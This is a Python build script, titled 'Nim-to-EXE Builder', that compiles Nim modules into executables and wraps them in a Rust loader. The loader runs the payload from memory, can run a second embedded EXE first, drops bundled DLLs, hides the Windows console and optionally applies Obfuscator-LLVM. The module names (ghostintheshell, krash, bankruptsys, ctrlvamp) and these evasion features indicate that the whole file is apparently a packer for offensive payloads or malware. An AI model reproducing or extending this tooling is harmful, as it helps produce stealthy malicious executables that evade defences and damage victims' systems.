#!/usr/bin/env python3
import argparse
from pathlib import Path
import platform
import sys
import os
import shutil
import re
import shlex 
import subprocess
import tempfile
import base64
def compile_nim(nim_file, output_exe, os_name, arch, hide_console=False, nim_defines=None):
    output_exe = Path(output_exe).resolve()
    print(f"[*] Compiling Nim -> {os_name}:{arch}")

    if nim_defines is None:
        nim_defines = []

    nim_cmd = [
        "nim", "c",
        "-d:release",
        "-d:ssl",
    ]
    nim_cmd.append("-d:nimUseCurl")

    for define in nim_defines:
        nim_cmd.append(f"-d:{define}")

    if os_name == "windows":
        if sys.platform == "darwin":
            nim_cmd.append("-d:mingw")
            nim_cmd.append(f"--cpu:{arch}")
        else:
            nim_cmd.append("--os:windows")
            nim_cmd.append(f"--cpu:{arch}")
        if hide_console:
            nim_cmd.append("--app:gui")

    elif os_name == "linux":
        nim_cmd.append("--os:linux")
        nim_cmd.append(f"--cpu:{arch}")

    elif os_name == "macos":
        nim_cmd.append("--os:macosx")
        nim_cmd.append(f"--cpu:{arch}")

    nim_cmd.append(f'--out:{output_exe}')
    nim_cmd.append(str(nim_file))

    print(f"[*] Running Nim compile command: {' '.join(shlex.quote(arg) for arg in nim_cmd)}")
    try:
        result = subprocess.run(nim_cmd, check=True, capture_output=True, text=True)
        print("[+] Nim compiler output:")
        print(result.stdout)
        if result.stderr:
            print("[+] Nim compiler errors:")
            print(result.stderr)
    except subprocess.CalledProcessError as e:
        print(f"[Error] Nim compilation failed with exit code {e.returncode}.")
        print("--- stdout ---")
        print(e.stdout)
        print("--- stderr ---")
        print(e.stderr)
        sys.exit(1)
    except FileNotFoundError:
        print("[Error] 'nim' command not found. Please ensure Nim is installed and in your PATH.")
        sys.exit(1)

    if not output_exe.exists():
        print(f"[Error] Nim compiler finished, but output file was not found at: {output_exe}")
        sys.exit(1)
    print(f"[+] Built Nim executable: {output_exe}")
    return output_exe

def normalize_imports(lines):
    """Normalize Nim import statements by splitting comma-separated imports."""
    result = []
    for line in lines:
        s = line.strip()
        if s.startswith("import "):
            mods = s[len("import "):].split(",")
            for m in mods:
                result.append("import " + m.strip())
        else:
            result.append(line.rstrip("\n"))
    return result

def extract_main_proc(nim_content):
    """Extract the content of proc main(), normalizing its indentation."""
    lines = nim_content.splitlines()
    main_content = []
    in_main = False
    proc_indent_level = 0
    base_content_indent = -1

    for line in lines:
        stripped_line = line.strip()
        if stripped_line.startswith("proc main() ="):
            in_main = True
            proc_indent_level = len(line) - len(line.lstrip())
            continue

        if in_main:
            current_indent = len(line) - len(line.lstrip())
            if current_indent <= proc_indent_level and stripped_line and not line.isspace():
                in_main = False
                continue

            if stripped_line:
                if base_content_indent == -1:
                    base_content_indent = current_indent
                relative_indent = current_indent - base_content_indent
                main_content.append(" " * relative_indent + stripped_line)
    return main_content

def apply_options_with_regex(content, options):
    """
    Applies build options to the Nim source content using regex substitution.
    It looks for patterns like:
    let/const/var optionName = "default value"
    let/const/var optionName = someFunc("default value")
    """
    if not options:
        return content, []

    new_options = []
    for option in options:
        if "=" in option:
            key, value = option.split("=", 1)
            escaped_value = value.strip().replace('\\', '\\\\').replace('"', '\\"')
            pattern = re.compile(r'((?:let|const|var)\s+' + re.escape(key) + r'\*\s*=\s*(?:[a-zA-Z0-9_]+\()?)".*?"', re.DOTALL)
            content = pattern.sub(r'\1"' + escaped_value + '"', content, count=1)
        else:
            new_options.append(option)

    return content, new_options

def merge_nim_modules(nim_files, out_dir: Path, options=None) -> (Path, list):
    """Merge multiple Nim modules into a single file, deduplicating imports and combining proc main()."""
    if len(nim_files) < 2:
        print("[Error] At least two Nim files must be provided for merging.")
        sys.exit(1)

    print(f"[*] Merging modules: {nim_files}")
    out_dir.mkdir(parents=True, exist_ok=True)
    out_path = out_dir / "combined.nim"

    merged_imports = set()
    module_bodies = []
    other_code = []
    main_contents = []
    all_options = list(options) if options else []
    
    for f in nim_files:
        fpath = Path(f)
        if not fpath.is_file():
            print(f"[Error] Nim file not found: {f}")
            sys.exit(1)
        print(f"[*] Reading module: {f}")
        with open(f, "r", encoding="utf-8") as fh:
            content = fh.read()

        lines = content.splitlines()
        module_body = []
        in_main_proc = False
        main_proc_indent = -1

        for line in lines:
            stripped = line.strip()

            if stripped.startswith("proc main()"):
                in_main_proc = True
                main_proc_indent = len(line) - len(line.lstrip())
                main_contents.append(extract_main_proc(content))
                continue

            if in_main_proc:
                if stripped and (len(line) - len(line.lstrip()) <= main_proc_indent):
                    in_main_proc = False
                if in_main_proc or stripped.startswith("when isMainModule"):
                    continue

            if stripped.startswith("when isMainModule"):
                continue

            if stripped.startswith("import "):
                mods = stripped[len("import "):].split(",")
                for m in mods:
                    merged_imports.add("import " + m.strip())
            else:
                module_body.append(line)
        
        module_bodies.append("\n".join(module_body))

    final_content_parts = []
    final_content_parts.append("\n".join(sorted(merged_imports)))
    final_content_parts.append("\n\n")
    final_content_parts.append("\n\n".join(module_bodies))
    final_content_parts.append("\n\n")

    final_content_parts[2], _ = apply_options_with_regex(final_content_parts[2], all_options)

    final_content_parts.append("proc main() =\n")

    for main_content in main_contents:
        if not main_content:
            continue
        final_content_parts.append("  block:\n")
        for line in main_content:
            final_content_parts.append("    " + line + "\n")

    final_content_parts.append("\nwhen isMainModule:\n")
    final_content_parts.append("  main()\n")

    final_content = "".join(final_content_parts)

    with open(out_path, "w", encoding="utf-8") as fh:
        fh.write(final_content)

    print("[*] --- Begin Combined Nim Code ---\n" + final_content + "\n[*] --- End Combined Nim Code ---")
    print(f"[+] Wrote merged Nim file: {out_path}")
    return out_path, []

def patch_nim_file(nim_file: Path, options: list) -> list:
    """Injects const declarations into a single Nim file."""
    nim_defines = []
    if options:
        print(f"[*] Patching {nim_file.name} with options: {options}")
        content = nim_file.read_text(encoding="utf-8")
        
        content, nim_defines = apply_options_with_regex(content, options)
        nim_file.write_text(content, encoding="utf-8")
    
    print(f"[*] Found nim defines: {nim_defines}")
    return nim_defines

def parse_target(target_str):
    """Parse the target string into OS and architecture."""
    try:
        os_name, arch = target_str.split(":")
        return os_name, arch
    except ValueError:
        print("[Error] Target must be in format os:arch, e.g. windows:amd64")
        sys.exit(1)


def generate_rust_wrapper(nim_exe, final_exe, target_os, target_arch, embed_exe=None, obfuscate=False, ollvm=None, hide_console=False, embedded_files=None):
    """Generate a Rust wrapper for the Nim executable using in-memory execution."""
    final_exe_path = Path(final_exe)
    package_name = final_exe_path.stem

    if obfuscate:
        docker_path = shutil.which("docker")
        if not docker_path:
            print("[Error] Docker not found. Install Docker to use Obfuscator-LLVM.")
            sys.exit(1)
        print(f"[*] Found docker at: {docker_path}")

    with open(nim_exe, 'rb') as f:
        nim_payload_bytes = f.read()

    nim_payload_array = ','.join(str(b) for b in nim_payload_bytes)

    embed_decl = ""
    embed_code = ""
    if embed_exe:
        with open(embed_exe, "rb") as f:
            embed_bytes = f.read()
        embed_bytes_array = ','.join(str(b) for b in embed_bytes)
        embed_decl = f"const EMBEDDED_EXE: &[u8] = &[{embed_bytes_array}];"
        embed_code = """
    // Run embedded EXE first
    unsafe {
        memexec::memexec_exe(EMBEDDED_EXE).expect("Failed to execute embedded EXE");
    }
"""

    windows_subsystem_attr = ""
    if target_os == "windows" and hide_console:
        windows_subsystem_attr = '#![windows_subsystem = "windows"]'

    file_declarations = ""
    file_drop_code = ""
    if embedded_files:
        file_declarations_parts = []
        file_drop_code_parts = ["    // Drop required files to the current directory"]
        for i, (file_name, file_bytes) in enumerate(embedded_files.items()):
            file_bytes_array = ','.join(str(b) for b in file_bytes)
            file_declarations_parts.append(f'const FILE_{i}_NAME: &str = "{file_name}";')
            file_declarations_parts.append(f'const FILE_{i}_DATA: &[u8] = &[{file_bytes_array}];')
            file_drop_code_parts.append(f'    std::fs::write(FILE_{i}_NAME, FILE_{i}_DATA).expect("Failed to write {file_name}");')
        
        file_declarations = "\n".join(file_declarations_parts)
        file_drop_code = "\n".join(file_drop_code_parts)

    rust_code = f'''
{windows_subsystem_attr}
use memexec;
use std::fs;

{embed_decl}

{file_declarations}

const NIM_PAYLOAD: &[u8] = &[{nim_payload_array}];

fn main() {{
{embed_code}

{file_drop_code}

    unsafe {{
        memexec::memexec_exe(NIM_PAYLOAD).expect("Failed to execute Nim payload from memory");
    }}
}}
'''
    with tempfile.TemporaryDirectory() as tmpdir:
        project_dir = Path(tmpdir) / "rust_project"
        src_dir = project_dir / "src"
        src_dir.mkdir(parents=True)

        main_rs = src_dir / "main.rs"
        main_rs.write_text(rust_code)
        print(f"[*] Wrote Rust wrapper source: {main_rs}")

        cargo_toml_content = f"""
[package]
name = "{package_name}"
version = "0.1.0"
edition = "2018"

[dependencies]
memexec = {{ git = "https://github.com/DmitrijVC/memexec", version = "0.3" }}
"""
        (project_dir / "Cargo.toml").write_text(cargo_toml_content.strip())

        rust_target = {
            ("windows", "amd64"): "x86_64-pc-windows-gnu",
            ("windows", "arm64"): "aarch64-pc-windows-gnu",
            ("linux", "amd64"): "x86_64-unknown-linux-gnu",
            ("linux", "arm64"): "aarch64-unknown-linux-gnu",
            ("macos", "amd64"): "x86_64-apple-darwin",
            ("macos", "arm64"): "aarch64-apple-darwin"
        }[(target_os, target_arch)]

        if obfuscate:
            cargo_cmd = ["cargo", "rustc", "--release", "--target", rust_target, "--"]
            if ollvm:
                cargo_cmd.append(f"-Cllvm-args={ollvm}")

            project_path = str(project_dir)
            volume_mapping = f"{project_path}:/projects"

            docker_cmd = [
                "docker", "run", "--rm",
                "-v", volume_mapping,
                "-w", "/projects",
                "ghcr.io/joaovarelas/obfuscator-llvm-16.0:latest",
                *cargo_cmd
            ]

            print(f"[*] Running Dockerized cargo rustc command: {' '.join(docker_cmd)}")
            try:
                subprocess.run(docker_cmd, check=True, capture_output=True, text=True)
            except subprocess.CalledProcessError as e:
                print(f"[Error] Dockerized Rust compilation failed: {e}")
                print(f"Stdout: {e.stdout}")
                print(f"Stderr: {e.stderr}")
                sys.exit(1)
        else:
            cargo_cmd = [
                "cargo", "build", "--release", "--target", rust_target
            ]

            print(f"[*] Running local cargo rustc command: {' '.join(cargo_cmd)}")
            try:
                subprocess.run(cargo_cmd, check=True, cwd=project_dir, capture_output=True, text=True)
            except subprocess.CalledProcessError as e:
                print(f"[Error] Rust compilation failed: {e}")
                print(f"Stdout: {e.stdout}")
                print(f"Stderr: {e.stderr}")
                sys.exit(1)
            except FileNotFoundError:
                print("[Error] 'cargo' command not found. Please ensure Rust is installed and in your PATH.")
                sys.exit(1)

        output_binary_name = f"{package_name}.exe" if target_os == "windows" else package_name
        compiled_binary = project_dir / "target" / rust_target / "release" / output_binary_name
        if not compiled_binary.exists():
            print(f"[Error] Compiled binary not found at: {compiled_binary}")
            sys.exit(1)
        shutil.move(str(compiled_binary), final_exe_path)
        print(f"[+] Final executable: {final_exe_path}")

def main():
    parser = argparse.ArgumentParser(description="Nim-to-EXE Builder")
    parser.add_argument("--nim_file", type=str, help="Path to a single Nim file")
    parser.add_argument("--merge", nargs="+", help="List of Nim modules to embed")
    parser.add_argument("--output_exe", type=str, required=True, help="Output executable name") 
    parser.add_argument("--embed", type=str, help="Path to additional exe to embed & run")
    parser.add_argument("--nim-only", action="store_true", help="Only build Nim exe (no Rust)")
    parser.add_argument("--obfuscate", action="store_true", help="Enable Rust OLLVM obfuscation")
    parser.add_argument("--ollvm", type=str, help="A string of OLLVM passes, e.g., '-enable-bcfobf -enable-subobf'")
    parser.add_argument("--hide-console", action="store_true", help="Hide console window on Windows")
    parser.add_argument("--target", type=str, default="windows:amd64", help="Target triple (os:arch)")
    parser.add_argument("--option", action="append", help="Option to inject as const (e.g., key=value)")

    args = parser.parse_args()

    if args.merge and args.nim_file:
        print("[Error] Cannot specify both --merge and --nim_file options.")
        sys.exit(1)
    if not args.merge and not args.nim_file:
        print("[Error] Must specify either --merge or --nim_file.")
        sys.exit(1)

    target_os, target_arch = parse_target(args.target)

    script_dir = Path(__file__).parent.resolve()
    dll_source_dir = script_dir / 'DLL'

    MODULE_DLLS = {
        'MODULE/ctrlvamp.nim': {'pcre64DllData_b64': 'pcre64.dll'},
        'MODULE/ghostintheshell.nim': {
            'cryptoDllData_b64': 'libcrypto-1_1-x64.dll',
            'sslDllData_b64': 'libssl-1_1-x64.dll'
        },
        'MODULE/krash.nim': {
            'cryptoDllData_b64': 'libcrypto-1_1-x64.dll',
            'sslDllData_b64': 'libssl-1_1-x64.dll'
        }
    }

    nim_options = list(args.option) if args.option else []
    
    selected_module_paths = []
    if args.merge:
        # When merging, check for byovf and replace its path with the one from options
        nim_file_opt = next((opt for opt in nim_options if opt.startswith('nimFile=')), None)
        for module_path in args.merge:
            if 'MODULE/byovf.nim' in module_path and nim_file_opt:
                nim_file_path_str = nim_file_opt.split('=', 1)[1].strip()
                expanded_path_str = os.path.expandvars(nim_file_path_str)
                selected_module_paths.append(str(Path(expanded_path_str).expanduser()))
            else:
                selected_module_paths.append(module_path)
    elif args.nim_file:
        selected_module_paths = [args.nim_file]
    embedded_files_for_rust = {}

    for module_path in selected_module_paths:
        normalized_path = str(Path(module_path)).replace(os.sep, '/')
        if normalized_path in ['MODULE/krash.nim', 'MODULE/ghostintheshell.nim']:
            pem_path = dll_source_dir / 'cacert.pem'
            if pem_path.exists() and not args.nim_only and target_os == 'windows':
                print("[*] Queuing cacert.pem for Rust wrapper embedding.")
                embedded_files_for_rust['cacert.pem'] = pem_path.read_bytes()

        if normalized_path in MODULE_DLLS:
            for const_name, dll_name in MODULE_DLLS[normalized_path].items():
                dll_path = dll_source_dir / dll_name
                if dll_path.exists():
                    if not args.nim_only and target_os == 'windows':
                        print(f"[*] Queuing {dll_name} for Rust wrapper embedding.")
                        embedded_files_for_rust[dll_name] = dll_path.read_bytes()
                    else:
                        print(f"[*] Embedding {dll_name} as base64 for {Path(module_path).name}")
                        dll_content = dll_path.read_bytes()
                        b64_content = base64.b64encode(dll_content).decode('utf-8')
                        nim_options.append(f"{const_name}={b64_content}")
    
    if 'MODULE/byovf.nim' in selected_module_paths and not args.nim_only and target_os == 'windows':
        embed_files_opt = next((opt for opt in nim_options if opt.startswith('embedFiles=')), None)
        if embed_files_opt:
            file_paths_str = embed_files_opt.split('=', 1)[1]
            if file_paths_str:
                for file_path_str_raw in file_paths_str.split(','):
                    file_path_str = file_path_str_raw.strip()
                    if file_path_str: # Only process non-empty paths
                        expanded_path_str = os.path.expandvars(file_path_str)
                        file_path = Path(expanded_path_str).expanduser()
                        if file_path.exists() and file_path.is_file():
                            print(f"[*] Queuing {file_path.name} for Rust wrapper embedding from byovf.")
                            embedded_files_for_rust[file_path.name] = file_path.read_bytes()
                        else:
                            print(f"[Warning] File to embed not found or is a directory: {file_path}")

    final_exe_path_str = args.output_exe
    if target_os == "windows" and not final_exe_path_str.lower().endswith(".exe"):
        final_exe_path_str += ".exe"
        print(f"[+] Corrected output name to: {Path(final_exe_path_str).name}")

    final_exe = Path(final_exe_path_str).resolve()
    final_exe.parent.mkdir(parents=True, exist_ok=True)

    with tempfile.TemporaryDirectory() as tmpdir:
        bankruptsys_path_str = 'MODULE/bankruptsys.nim'
        if bankruptsys_path_str in selected_module_paths and not args.nim_only and target_os == 'windows':
            print("[*] Pre-compiling xfs.exe for bankruptsys module.")
            xfs_exe_path = Path(tmpdir) / "xfs.exe"
            compile_nim(
                nim_file=bankruptsys_path_str,
                output_exe=xfs_exe_path,
                os_name=target_os,
                arch=target_arch,
                hide_console=True,
                nim_defines=['xfs']
            )
            if xfs_exe_path.exists():
                print(f"[+] Successfully built {xfs_exe_path.name}, queuing for Rust wrapper embedding.")
                embedded_files_for_rust[xfs_exe_path.name] = xfs_exe_path.read_bytes()
            else:
                print("[Error] Failed to build xfs.exe for bankruptsys. Aborting.")
                sys.exit(1)

        tmp_dir = Path(tmpdir)
        nim_defines = []
        if args.merge:
            launcher_source, nim_defines = merge_nim_modules(args.merge, tmp_dir, options=nim_options)
        elif args.nim_file:
            nim_file_to_compile = args.nim_file
            if 'byovf' in args.nim_file and args.option:
                nim_file_opt = next((opt for opt in args.option if opt.startswith('nimFile=')), None)
                if nim_file_opt:
                    nim_file_path_str = nim_file_opt.split('=', 1)[1].strip()
                    expanded_path_str = os.path.expandvars(nim_file_path_str)
                    nim_file_to_compile = str(Path(expanded_path_str).expanduser())
            launcher_source = Path(nim_file_to_compile).expanduser()
            nim_defines = patch_nim_file(launcher_source, nim_options)

        suffix = ".exe" if target_os == "windows" else ""
        nim_exe_tmp = tmp_dir / f"{final_exe.stem}_nim_payload{suffix}"
        should_hide_nim_console = args.hide_console and target_os == "windows"
        compile_nim(launcher_source, nim_exe_tmp, target_os, target_arch, hide_console=should_hide_nim_console, nim_defines=nim_defines)

        if not args.nim_only and target_os == 'windows':
            print("[*] Generating Rust wrapper to embed Nim payload.")
            generate_rust_wrapper(
                str(nim_exe_tmp),
                final_exe,
                target_os, target_arch,
                embed_exe=args.embed,
                obfuscate=args.obfuscate,
                ollvm=args.ollvm,
                hide_console=args.hide_console,
                embedded_files=embedded_files_for_rust
            )
        else:
            if not args.nim_only and target_os != 'windows':
                print(f"[*] Skipping Rust wrapper for non-Windows target ({target_os}).")
            shutil.move(str(nim_exe_tmp), final_exe)
            print(f"[+] Final executable: {final_exe}")

if __name__ == "__main__":
    main()